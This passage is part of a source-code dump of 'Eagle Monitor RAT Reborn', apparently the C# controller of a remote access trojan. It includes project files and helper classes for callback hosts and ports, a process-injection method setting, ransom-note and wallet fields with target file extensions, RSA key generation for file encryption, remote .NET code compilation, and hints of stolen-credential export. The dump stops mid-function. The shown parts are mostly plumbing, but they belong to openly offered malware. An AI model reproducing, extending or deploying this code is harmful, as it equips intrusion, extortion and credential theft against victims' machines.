Include=\"Resources\\icons8_microsoft_admin.ico\" />\n    <None Include=\"Resources\\icons8_chat.ico\" />\n    <None Include=\"Resources\\icons8_c_plus_plus.ico\" />\n    <None Include=\"Resources\\icons8_visual_basic.ico\" />\n    <None Include=\"Resources\\icons8_Binary_Code.ico\" />\n    <None Include=\"Resources\\icons8_source_code.ico\" />\n    <None Include=\"Resources\\send_letter_32px.png\" />\n    <None Include=\"Resources\\minus_32px.png\" />\n    <None Include=\"Resources\\add_32px.png\" />\n    <None Include=\"Resources\\icons8_question_mark.ico\" />\n    <None Include=\"Resources\\icons8_information.ico\" />\n    <None Include=\"Resources\\icons8_informatics.ico\" />\n    <None Include=\"Resources\\icons8_computer_virus.ico\" />\n    <None Include=\"Resources\\icons8_keyboard.ico\" />\n    <None Include=\"Resources\\file_delete_32px.png\" />\n    <None Include=\"Resources\\icons8_control_panel.ico\" />\n    <None Include=\"Resources\\control_panel_32px.png\" />\n    <None Include=\"Resources\\file_32px.png\" />\n    <None Include=\"Resources\\icons8_download.ico\" />\n    <None Include=\"Resources\\download_32px.png\" />\n    <None Include=\"Resources\\Binary Code_32px.png\" />\n    <None Include=\"Resources\\end_32px.png\" />\n    <None Include=\"Resources\\resume_button_32px.png\" />\n    <None Include=\"Resources\\pause_32px.png\" />\n    <None Include=\"Resources\\microphone_32px.png\" />\n    <None Include=\"Resources\\save_32px.png\" />\n    <None Include=\"Resources\\video_call_32px.png\" />\n    <None Include=\"Resources\\icons8_microphone.ico\" />\n    <None Include=\"Resources\\icons8_imac.ico\" />\n    <None Include=\"Resources\\icons8_video_call.ico\" />\n    <None Include=\"Resources\\icons8_index.ico\" />\n    <None Include=\"Resources\\icons8_parcel.ico\" />\n    <None Include=\"Resources\\icons8_user.ico\" />\n    <None Include=\"Resources\\icons8_wrench.ico\" />\n    <None Include=\"Resources\\icons8_settings.ico\" />\n    <None Include=\"Resources\\icons8_remote_desktop.ico\" />\n    <None Include=\"Resources\\remote_desktop_32px.png\" />\n    <None Include=\"Resources\\icons8_single_line_text_input.ico\" />\n    <None Include=\"Resources\\icons8_single_line_text_input_256.png\" />\n    <None Include=\"Resources\\icons8_text_input_form.ico\" />\n    <None Include=\"Resources\\single_line_text_input_32px.png\" />\n    <None Include=\"Resources\\text_input_form_32px.png\" />\n    <None Include=\"Resources\\broken_link_32px.png\" />\n    <None Include=\"Resources\\disconnected_32px.png\" />\n    <None Include=\"Resources\\login_32px.png\" />\n    <None Include=\"Resources\\user_32px.png\" />\n    <None Include=\"Resources\\imageres_15.ico\" />\n    <None Include=\"Resources\\icons8_system_task.ico\" />\n    <None Include=\"Resources\\downloads_folder_32px.png\" />\n    <None Include=\"Resources\\documents_folder_32px.png\" />\n    <None Include=\"Resources\\folder_32px.png\" />\n    <None Include=\"Resources\\pin_32px.png\" />\n    <None Include=\"Resources\\back_32px.png\" />\n    <None Include=\"Resources\\forward_32px.png\" />\n    <None Include=\"Resources\\replay_32px.png\" />\n    <None Include=\"Resources\\key_32px.png\" />\n    <None Include=\"Resources\\time_machine_32px.png\" />\n    <None Include=\"Resources\\icons8_time_machine_256.png\" />\n    <None Include=\"Resources\\icons8_key_256.png\" />\n    <None Include=\"Resources\\icons8_replay.ico\" />\n    <None Include=\"Resources\\icons8_reset.ico\" />\n    <None Include=\"Resources\\icons8_reset_256.png\" />\n    <None Include=\"Resources\\icons8_back_256.png\" />\n    <None Include=\"Resources\\icons8_forward_256.png\" />\n    <None Include=\"Resources\\icons8_key.ico\" />\n    <None Include=\"Resources\\icons8_time_machine.ico\" />\n    <None Include=\"Resources\\icons8_file_explorer.ico\" />\n    <None Include=\"Resources\\icons8_database_backup.ico\" />\n    <None Include=\"Resources\\icons8_database_backup_256.png\" />\n    <None Include=\"Resources\\icons8_file_explorer_256.png\" />\n    <None Include=\"Resources\\icons8_data_backup_256.png\" />\n    <None Include=\"Resources\\icons8_data_backup.ico\" />\n    <None Include=\"Resources\\imageres_4.ico\" />\n    <None Include=\"Resources\\github%402x.png\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <ItemGroup>\n    <BootstrapperPackage Include=\".NETFramework,Version=v4.8\">\n      <Visible>False</Visible>\n      <ProductName>Microsoft .NET Framework 4.8 %28x86 et x64%29</ProductName>\n      <Install>true</Install>\n    </BootstrapperPackage>\n    <BootstrapperPackage Include=\"Microsoft.Net.Framework.3.5.SP1\">\n      <Visible>False</Visible>\n      <ProductName>.NET Framework 3.5 SP1</ProductName>\n      <Install>false</Install>\n    </BootstrapperPackage>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"Current\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup>\n    <ProjectView>ProjectFiles</ProjectView>\n    <PublishUrlHistory />\n    <InstallUrlHistory />\n    <SupportUrlHistory />\n    <UpdateUrlHistory />\n    <BootstrapperUrlHistory />\n    <ErrorReportUrlHistory />\n    <FallbackCulture>fr-FR</FallbackCulture>\n    <VerifyUploadedFiles>false</VerifyUploadedFiles>\n  </PropertyGroup>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Misc/DotNetCodeExecution.cs",
    "content": "﻿using FastColoredTextBoxNS;\nusing System;\nusing System.CodeDom.Compiler;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Misc\n{\n    internal static class DotNetCodeExecution\n    {\n        internal static string GetCode(Language currentLanguage)\n        {\n            switch (currentLanguage)\n            {\n                case Language.VB:\n                    {\n                        return @\"Imports System\nImports System.Windows.Forms\n\nNamespace EagleMonitor\n    Public Class Program\n        Public Shared Sub Main()\n            Try\n                MessageBox.Show(\"\"Hello World\"\")\n            Catch\n            End Try\n        End Sub\n    End Class\nEnd Namespace\n\n\";\n                    }\n                case Language.CSharp:\n                    return @\"using System;\nusing System.Windows.Forms;\nnamespace EagleMonitor\n{\n    public class Program\n    {\n        public static void Main()\n        {\n            try\n            {\n                MessageBox.Show(\"\"Hello World\"\");\n            }\n            catch { }\n        }\n    }\n}\";\n                default:\n                    return \"\";\n            }\n        }\n\n        internal static void RowAdder(string lib, DataGridView importLib)\n        {\n            int rowId = importLib.Rows.Add();\n            DataGridViewRow row = importLib.Rows[rowId];\n            row.Cells[\"Column31\"].Value = lib;\n        }\n\n        internal static void TryLocally(CodeDomProvider codeDomProvider, string source, string platform, string[] referencedAssemblies)\n        {\n            try\n            {\n                var compilerOptions = $\"/target:winexe /platform:{platform} /optimize- /unsafe\";\n\n                var compilerParameters = new CompilerParameters(referencedAssemblies)\n                {\n                    GenerateExecutable = true,\n                    GenerateInMemory = true,\n                    CompilerOptions = compilerOptions,\n                    TreatWarningsAsErrors = false,\n                    IncludeDebugInformation = false,\n                };\n                var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);\n\n                if (compilerResults.Errors.Count > 0)\n                {\n                    foreach (CompilerError compilerError in compilerResults.Errors)\n                    {\n                        MessageBox.Show(string.Format(\"{0}\\nLine: {1}\", compilerError.ErrorText, compilerError.Line), \"Code\", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);\n                        break;\n                    }\n                }\n                else\n                {\n                    compilerResults = null;\n                    MessageBox.Show(\"Code working !\", \"Working\", MessageBoxButtons.OK, MessageBoxIcon.Information);\n                }\n            }\n            catch (Exception ex)\n            {\n                MessageBox.Show(ex.Message, \"Error\", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);\n            }\n        }\n\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Encryption.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Security.Cryptography;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Misc\n{\n    internal class Encryption\n    {\n        internal static byte[] RSAEncrypt(byte[] data, string strPublicKey)\n        {\n            RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096\n            rsa.FromXmlString(strPublicKey);\n            byte[] byteEntry = rsa.Encrypt(data, false);\n            return byteEntry;\n        }\n\n        internal static byte[] RSADecrypt(byte[] data, string strPrivateKey)\n        {\n            RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096\n            rsa.FromXmlString(strPrivateKey);\n            byte[] byteEntry = rsa.Decrypt(data, false);\n            return byteEntry;\n        }\n\n        internal static Dictionary<string, string> GetKey()\n        {\n            Dictionary<string, string> dictKey = new Dictionary<string, string>();\n            RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096\n\n            dictKey.Add(\"PublicKey\", rsa.ToXmlString(false));\n            dictKey.Add(\"PrivateKey\", rsa.ToXmlString(true));\n\n            return dictKey;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Misc/EncryptionInformation.cs",
    "content": "﻿using System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Misc\n{\n    internal class EncryptionInformation\n    {\n        public string publicRSAServerKey { get; set; }\n        public string privateRSAServerKey { get; set; }\n        public bool isEncrypted { get; set; }\n        public string msg { get; set; }\n        public string wallet { get; set; }\n        public bool subfolders { get; set; }\n        public bool checkExtensions { get; set; }\n        public List<string> extensionFile { get; set; }\n        public List<string> paths { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Misc/GitHubAPI.cs",
    "content": "﻿/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Misc\n{\n    internal class GitHubAPI\n    {\n        public string url { get; set; }\n        public string assets_url { get; set; }\n        public string upload_url { get; set; }\n        public string html_url { get; set; }\n        public string tag_name { get; set; }\n        public string body { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Misc\n{\n    internal class Imports\n    {\n        private const String ntdll = \"ntdll.dll\";\n        private const String user32 = \"user32.dll\";\n\n        [DllImport(ntdll, SetLastError = true)]\n        internal static extern uint NtTerminateProcess(IntPtr hProcess, int errorStatus);\n\n        [DllImport(user32)]\n        internal extern static bool ReleaseCapture();\n\n        [DllImport(user32)]\n        internal extern static IntPtr SendMessage(IntPtr a, int msg, int wParam, int lParam);\n\n        internal const int WM_VSCROLL = 277;\n        internal static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7);\n\n        [DllImport(user32, CharSet = CharSet.Auto)]\n        internal static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Misc/RandomString.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Misc\n{\n    internal class RandomString\n    {\n        //private const string randomString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyz|@#^{}[]`´~\";\n        public static string randomString = \"ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψωABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzابتثجحخدذرزسشصضطظعغفقكلمنهويابتثجحخدذرزسشصضطظعغفقكلمنهوي艾诶比西迪伊弗吉尺杰开勒马娜哦屁吉吾儿丝提伊吾维豆贝尔维克斯吾贼德אבגדהוזחטיכךלמםנןסעפףצץקרשתאבגדהוזחטיכךלמםנןסעפףצץקרשת\";\n        //private const string chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n        //public static string chars = \"ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψωABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzابتثجحخدذرزسشصضطظعغفقكلمنهويابتثجحخدذرزسشصضطظعغفقكلمنهوي0123456789艾诶比西迪伊弗吉尺杰开勒马娜哦屁吉吾儿丝提伊吾维豆贝尔维克斯吾贼德אבגדהוזחטיכךלמםנןסעפףצץקרשתאבגדהוזחטיכךלמםנןסעפףצץקרשת\";\n\n\n        private static readonly List<string> names = new List<string>();\n\n        private static readonly Random random = new Random();\n        internal static string NextString(int length) => new string((\n            from _ in Enumerable.Range(0, length)\n            let i = random.Next(0, RandomString.randomString.Length)\n            select RandomString.randomString[i]).ToArray());\n\n\n        internal static int RandomDigit() \n        {\n            return random.Next(1, 10);\n        }\n\n        public static string RandomStringFunction(int length)\n        {\n            names.Clear();\n            string name = \"\";\n            do\n            {\n                name = new string(Enumerable.Repeat(randomString, length).Select(s => s[random.Next(s.Length)]).ToArray());\n            } while (names.Contains(name));\n\n            return name;\n        }\n\n        public static string GenerateRandomString()\n        {\n            var sb = new StringBuilder();\n            for (int i = 1; i <= random.Next(10, 20); i++)\n            {\n                var randomCharacterPosition = random.Next(0, randomString.Length);\n                sb.Append(randomString[randomCharacterPosition]);\n            }\n            return sb.ToString();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Settings.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing static PacketLib.Packet.ProcessInjectionPacket;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Misc\n{\n    internal class Settings\n    {\n        public List<int> ports { get; set; }\n        public string key { get; set; }\n        public bool notificationSound { get; set; }\n        public bool notificationIcon{ get; set; }\n        public bool autoSaveRecovery { get; set; }\n        public bool autoRemoveRowWhenFileIsDownloaded { get; set; }\n        public string flagsPackName { get; set; }\n        public INJECTION_METHODS processInjectionMethod { get; set; }\n        public int bufferSize { get; set; }\n        public bool autoGenerateRSAKey { get; set; }\n        public List<Tuple<string, string>> hosts { get; set; }\n        //public List<IPacket> onConnectPackets { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing Leaf.xNet;\nusing Newtonsoft.Json;\nusing System;\nusing System.Collections.Generic;\nusing System.Drawing;\nusing System.IO;\nusing System.Reflection;\nusing System.Text;\nusing System.Threading;\nusing System.Threading.Tasks;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Misc\n{\n    internal class Utils\n    {\n        internal class CoreAssembly\n        {\n            internal static readonly Assembly Reference = typeof(CoreAssembly).Assembly;\n            internal static readonly Version Version = Reference.GetName().Version;\n            internal static readonly string Name = Reference.GetName().Name;\n        }\n\n        internal static readonly string GPath = Application.StartupPath;\n        internal static readonly string StubPath = GPath + \"\\\\Stubs\\\\Client\";\n        internal static byte[] NotificationSound = File.ReadAllBytes(GPath + \"\\\\Notification\\\\notification.wav\");\n\n        internal static string SplitPath(string P)\n        {\n            string[] spl = P.Split('\\\\');\n            return spl[spl.Length - 1];\n        }\n\n        internal static void ReadSettings()\n        {\n            if (System.IO.File.Exists(GPath + \"\\\\config.json\"))\n            {\n                string json = File.ReadAllText(GPath + \"\\\\config.json\");\n                Program.settings = JsonConvert.DeserializeObject<Settings>(json);\n                Program.mainForm.keyGuna2TextBox.Text = Program.settings.key;\n                Program.mainForm.builderKeyGuna2TextBox.Text = Program.settings.key;\n                foreach (int p in Program.settings.ports)\n                {\n                    Program.mainForm.portListView.Items.Add(p.ToString());\n                }\n\n                foreach (Tuple<string, string> host in Program.settings.hosts)\n                {\n                    int rowId = Program.mainForm.hostsDataGridView.Rows.Add();\n                    DataGridViewRow row = Program.mainForm.hostsDataGridView.Rows[rowId];\n                    row.Cells[\"Column22\"].Value = host.Item1;\n                    row.Cells[\"Column23\"].Value = host.Item2;\n                }\n\n                Program.mainForm.notificationSoundGuna2CheckBox.Checked = Program.settings.notificationSound;\n                Program.mainForm.notificationIconGuna2CheckBox.Checked = Program.settings.notificationIcon;\n                Program.mainForm.autoSaveRecoveryGuna2CheckBox.Checked = Program.settings.autoSaveRecovery;\n                Program.mainForm.flagsPackGuna2ComboBox.Text = Program.settings.flagsPackName;\n                Program.mainForm.processInjectionGuna2ComboBox.SelectedIndex = (int)Program.settings.processInjectionMethod;\n                Program.mainForm.autoRemoveDownloadGuna2CheckBox.Checked = Program.settings.autoRemoveRowWhenFileIsDownloaded;\n                Program.mainForm.ransomKeyGuna2CheckBox.Checked = Program.settings.autoGenerateRSAKey;\n\n\n                switch (Program.settings.bufferSize)\n                {\n                    case 524288:\n                        Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 0;\n                        break;\n\n                    case 1048576:\n                        Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 1;\n                        break;\n\n                    case 2097152:\n                        Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 2;\n                        break;\n\n                    case 4194304:\n                        Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 3;\n                        break;\n\n                    case 8388608:\n                        Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 4;\n                        break;\n\n                    case 10485760:\n                        Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 5;\n                        break;\n                }\n\n                /*if (Program.settings.onConnectPackets != null)\n                {\n                    foreach (IPacket packet in Program.settings.onConnectPackets)\n                    {\n                        int rowId = Program.mainForm.tasksDataGridView.Rows.Add();\n\n                        DataGridViewRow row = Program.mainForm.tasksDataGridView.Rows[rowId];\n\n                        row.Cells[\"Column20\"].Value = packet.packetType.ToString();\n\n                    }\n                }\n                else\n                    Program.settings.onConnectPackets = new List<IPacket>();*/\n            }\n            else \n            {\n                Program.settings = new Settings();\n            }\n        }\n\n        internal static void SaveSettings() \n        {\n            Program.settings.ports = new List<int>();\n            Program.settings.key = Program.mainForm.keyGuna2TextBox.Text;\n            Program.settings.notificationSound = Program.mainForm.notificationSoundGuna2CheckBox.Checked;\n            Program.settings.autoRemoveRowWhenFileIsDownloaded = Program.mainForm.autoRemoveDownloadGuna2CheckBox.Checked;\n            Program.settings.autoSaveRecovery = Program.mainForm.autoSaveRecoveryGuna2CheckBox.Checked;\n            Program.settings.flagsPackName = Program.mainForm.flagsPackGuna2ComboBox.Text;\n            Program.settings.autoGenerateRSAKey = Program.mainForm.ransomKeyGuna2CheckBox.Checked;\n            Program.settings.notificationIcon = Program.mainForm.notificationIconGuna2CheckBox.Checked;\n            Program.settings.hosts = new List<Tuple<string, string>>();\n\n            foreach (DataGridViewRow host in Program.mainForm.hostsDataGridView.Rows)\n            {\n                // hostsList += $\"\\\"{host.Cells[0].Value}:{host.Cells[1].Value}\\\",\";\n                Program.settings.hosts.Add(new Tuple<string, string>(host.Cells[0].Value.ToString(), host.Cells[1].Value.ToString()));\n            }\n\n            foreach (ListViewItem I in Program.mainForm.portListView.Items)\n            {\n                Program.settings.ports.Add(int.Parse(I.Text));\n            }\n\n            switch (Program.mainForm.processInjectionGuna2ComboBox.SelectedIndex) \n            {\n                case 0:\n                    Program.settings.processInjectionMethod = PacketLib.Packet.ProcessInjectionPacket.INJECTION_METHODS.CLASSIC;\n                    break;\n                case 1:\n                    Program.settings.processInjectionMethod = PacketLib.Packet.ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW;\n                    break;\n            }\n\n            switch (Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex) \n            {\n/*\n512 kB (524288)\n1 MB (1048576)\n2 MB (2097152)\n4 MB (4194304)\n8 MB (8388608)\n10 MB (10485760)\n*/\n                case 0:\n                    Program.settings.bufferSize = 524288;\n                    break;\n\n                case 1:\n                    Program.settings.bufferSize = 1048576;\n                    break;\n\n                case 2:\n                    Program.settings.bufferSize = 2097152;\n                    break;\n\n                case 3:\n                    Program.settings.bufferSize = 4194304;\n                    break;\n\n                case 4:\n                    Program.settings.bufferSize = 8388608;\n                    break;\n\n                case 5:\n                    Program.settings.bufferSize = 10485760;\n                    break;\n            }\n            string savedSettings = JsonConvert.SerializeObject(Program.settings);\n            File.WriteAllText(GPath + \"\\\\config.json\", savedSettings);\n        }\n\n        internal static void SaveLogs(DataGridView logDataGridView) \n        {\n            Utils.ToCSV(logDataGridView , Application.StartupPath + \"\\\\Logs\\\\\" + DateFormater() + \".csv\");\n        }\n\n        internal static Image ResizeImage(Image imgToResize, Size size)\n        {\n            return (Image)(new Bitmap(imgToResize, size));\n        }\n\n        internal static void StartServers() \n        {\n            foreach (int p in Program.settings.ports)\n            {\n                new Thread(() =>\n                {\n                    new ServerHandler(p);\n                }).Start();\n            }\n        }\n\n        internal static void ToCSV(DataGridView dataGridView, string filePath)\n        {\n            using (StreamWriter sw = new StreamWriter(filePath, false, System.Text.Encoding.Default))\n            {\n                /* sw.Write(string.Format(\"{0};\", dataGridView.Columns[0].HeaderText));\n                 sw.Write(string.Format(\"{0};\", dataGridView.Columns[1].HeaderText));\n                 sw.Write(string.Format(\"{0};\", dataGridView.Columns[2].HeaderText));\n                 sw.Write(string.Format(\"{0};\", dataGridView.Columns[3].HeaderText));*/\n\n                foreach (DataGridViewColumn column in dataGridView.Columns)\n                    sw.Write(string.Format(\"{0};\", column.HeaderText));\n\n\n                sw.WriteLine(\"\");\n\n                foreach (DataGridViewRow item in dataGridView.Rows)\n                {\n                    foreach (DataGridViewCell cell in item.Cells)\n                        sw.Write(string.Format(\"{0};\", cell.Value));\n                    sw.WriteLine(\"\");\n                }\n            }\n        }\n\n        internal static void ToCSV(List<object[]> elemList, string filePath, string[] columnNames)\n        {\n            using (StreamWriter sw = new StreamWriter(filePath, false, System.Text.Encoding.Default))\n            {\n                // sw.Write(string.Format(\"{0};\", \"URL\"));\n                // sw.Write(string.Format(\"{0};\", \"Username\"));\n                // sw.Write(string.Format(\"{0};\", \"Password\"));\n                // sw.Write(string.Format(\"{0};\", \"Application\"));\n                foreach (string columnName in columnNames)\n                    sw.Write(string.Format(\"{0};\", columnName));\n                /*sw.Write(string.Format(\"{0};\", columnName[0]));\n                sw.Write(string.Format(\"{0};\", columnName[1]));\n                sw.Write(string.Format(\"{0};\", columnName[2]));\n                sw.Write(string.Format(\"{0};\", columnName[3]));*/\n                sw.WriteLine(\"\");\n\n                foreach (object[] item in elemList)\n                {\n                    foreach (object item2 in item)\n                        sw.Write(string.Format(\"{0};\", item2.ToString()));\n                    sw.WriteLine(\"\");\n                }\n            }\n        }\n\n        internal static string DateFormater()\n        {\n            DateTime now = DateTime.Now;\n            return $\"{now.Year}-{now.Month}-{now.Day}-{now.Hour}H{now.Minute}-{now.Second}{now.Millisecond}\";\n        }\n\n        internal static string Numeric2Bytes(double b)\n        {\n            string tempNumeric2Bytes = null;\n            string[] bSize = new string[9];\n            int i = 0;\n\n            bSize[0] = \"Bytes\";\n            bSize[1] = \"KB\"; //Kilobytes\n           